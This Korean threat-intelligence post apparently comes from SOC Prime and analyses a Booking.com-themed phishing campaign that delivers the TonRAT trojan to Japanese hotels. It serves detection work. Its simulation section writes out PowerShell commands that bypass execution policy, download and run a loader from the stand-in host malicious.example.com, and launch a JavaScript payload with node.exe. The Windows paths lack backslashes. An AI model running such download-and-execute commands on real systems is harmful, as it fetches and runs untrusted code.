SOC Prime Bias: Medium

12 Jun 2026 06:16 UTC

호텔 산업을 겨냥한 의심스러운 이메일 분석

Author Photo
SOC Prime Team linkedin icon 팔로우
호텔 산업을 겨냥한 의심스러운 이메일 분석
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Booking.com으로 가장한 피싱 캠페인이 Calendly와 SendGrid에 호스팅된 인프라를 통해 일본의 호텔 운영자를 대상으로 했습니다. 이메일에는 LNK 바로 가기가 포함된 ZIP 아카이브로 연결되는 단축 링크가 포함되어 있었으며, 해당 파일은 PowerShell 기반 로더를 실행했습니다. 이 로더는 추가 PowerShell 스크립트를 가져왔고, TonRAT으로 식별된 JavaScript 페이로드를 해독하며, Node.js를 다운로드하고 RAT를 실행했습니다. 그런 다음 악성코드는 TON API를 통해 얻은 WebSocket 엔드포인트를 통해 명령 및 제어(C2)를 설립했습니다.

조사

보고서에는 이메일 헤더 분석, 정당한 배달 서비스의 남용, 공격에 사용된 다단계 실행 체인이 설명되어 있습니다. ZIP 아카이브 및 내부 구성 요소에 대한 파일 해시를 제공하며, 분석 중에 관찰된 명령 및 제어 도메인을 목록화합니다. 조사에는 악성 LNK 파일과 감염 확산에 사용된 PowerShell 명령에 대한 기술적인 세부 사항도 포함되어 있습니다.

완화 방안

수비자는 의심스러운 Calendly 단축 링크를 차단하고, 발신자 도메인을 신중하게 확인하며, 이메일을 통해 전달된 LNK 첨부 파일의 실행을 제한해야 합니다. 모니터링은 또한 승인되지 않은 PowerShell 활동 및 엔드포인트에 나타나는 예상치 못한 Node.js 이진 파일에 중점을 두어야 합니다. URL 필터링은 캠페인에 포함된 알려진 악성 도메인에 대한 접근을 차단하는 데 도움을 줄 수 있습니다.

대응

보안 팀은 확인된 명령 및 제어 도메인에서 콘텐츠를 다운로드하는 PowerShell 명령 및 실행을 위해 node.exe 를 비정상적인 위치에서 탐지하기 위한 경보를 생성해야 합니다. 경보는 또한 신뢰할 수 없는 출처나 예상치 못한 출처에서 발신된 SendGrid 헤더를 사용한 이메일 흐름에 대해 구성되어야 합니다. 조사자는 드롭 파일을 수집하고 관찰된 WebSocket 통신과 관련된 네트워크 트래픽을 유지해야 합니다.

“graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodes action_phishing[“<b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/>Phishing email containing a malicious Calendly link is sent to the victim.”] class action_phishing action action_user_click[“<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>Victim clicks the malicious Calendly link, causing the browser to download a ZIP archive.”] class action_user_click action action_download_zip[“<b>Action</b> – Download ZIP<br/>ZIP archive contains a shortcut (.lnk) and a dummy MP4 file.”] class action_download_zip action action_open_shortcut[“<b>Action</b> – <b>T1547.009 Shortcut Modification</b><br/>Victim opens the .lnk shortcut, which executes a PowerShell command.”] class action_open_shortcut action tool_powershell[“<b>Tool</b> – PowerShell<br/><b>Purpose</b>: Executes commands and downloads additional payloads.”] class tool_powershell tool action_download_script[“<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>PowerShell downloads an additional script from a remote server.”] class action_download_script action action_download_js[“<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>PowerShell also downloads an encrypted JavaScript payload.”] class action_download_js action action_download_node[“<b>Action</b> – Download Node.js Runtime<br/>Node.js runtime is downloaded and used to launch the next stage.”] class action_download_node process malware_tonrat[“<b>Malware</b> – TonRAT<br/>JavaScriptu2011based remote access trojan executed via Node.js.”] class malware_tonrat malware action_dynamic_resolution[“<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>TonRAT queries the TON API to resolve commandu2011andu2011control domains at runtime.”] class action_dynamic_resolution action action_c2[“<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Establishes a WebSocket channel for C2 communications.”] class action_c2 action %% Connections action_phishing –>|leads_to| action_user_click action_user_click –>|triggers| action_download_zip action_download_zip –>|contains| action_open_shortcut action_open_shortcut –>|executes| tool_powershell tool_powershell –>|uses| action_download_script tool_powershell –>|uses| action_download_js action_download_script –>|provides| action_download_node action_download_js –>|provides| action_download_node action_download_node –>|launches| malware_tonrat malware_tonrat –>|performs| action_dynamic_resolution action_dynamic_resolution –>|enables| action_c2 “

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

따라서, 이 섹션은 탐지 규칙을 활성화하도록 설계된 적대적인 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령과 설명은 TTP가 식별된 내용을 직접적으로 반영하고 탐지 논리에 의해 기대되는 정확한 원격 데이터를 생성하기 위한 목적이어야 합니다.

  • 공격 설명 및 명령:

    1. 초기 접속 – PowerShell 다운로드
      공격자는 손상된 호스트에서 원격 PowerShell 세션을 얻고 Invoke-WebRequest 를 사용해 악성 C2 서버에서 TonRAT 로더 스크립트를 가져옵니다. 이 단계는 Invoke-WebRequest 문자열 매치를 충족합니다.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. 로더 실행
      다운로드한 스크립트가 실행되어 추가 명령 실행을 위한 두 번째 PowerShell 프로세스를 생성합니다 (여전히 “PowerShell”이 포함되어 있습니다).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Node.js 페이로드 실행
      TonRAT은 악성 JavaScript 파일(malicious.js)을 배치하고 Node.js 런타임(node.exe)을 사용해 실행합니다. 이것은 node.exe 문자열 매치를 충족합니다.

      # Assume the script already placed malicious.js in C:Temp
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    (PowerShell 사용 Invoke-WebRequest, 로더를 실행하는 PowerShell, 및 node.exe)의 세 가지 프로세스가 탐지 규칙 조건을 충족합니다.

  • 회귀 테스트 스크립트:

    #-------------------------------------------------
    # TonRAT 배포 시뮬레이션 – 시그마 규칙 활성화
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. 페이크 로더를 다운로드합니다 (간단한 echo로 시뮬레이션됨)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. 로더를 실행합니다 (로더는 단지 가짜 js 파일을 생성함)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. 가짜 JavaScript 페이로드 생성
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
    
    # 4. Node.js로 페이로드 실행
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • 정리 명령:

    # 시뮬레이션에 의해 생성된 모든 아티팩트를 제거합니다
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # 필요시 남아있는 PowerShell/Node 프로세스를 종료합니다
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force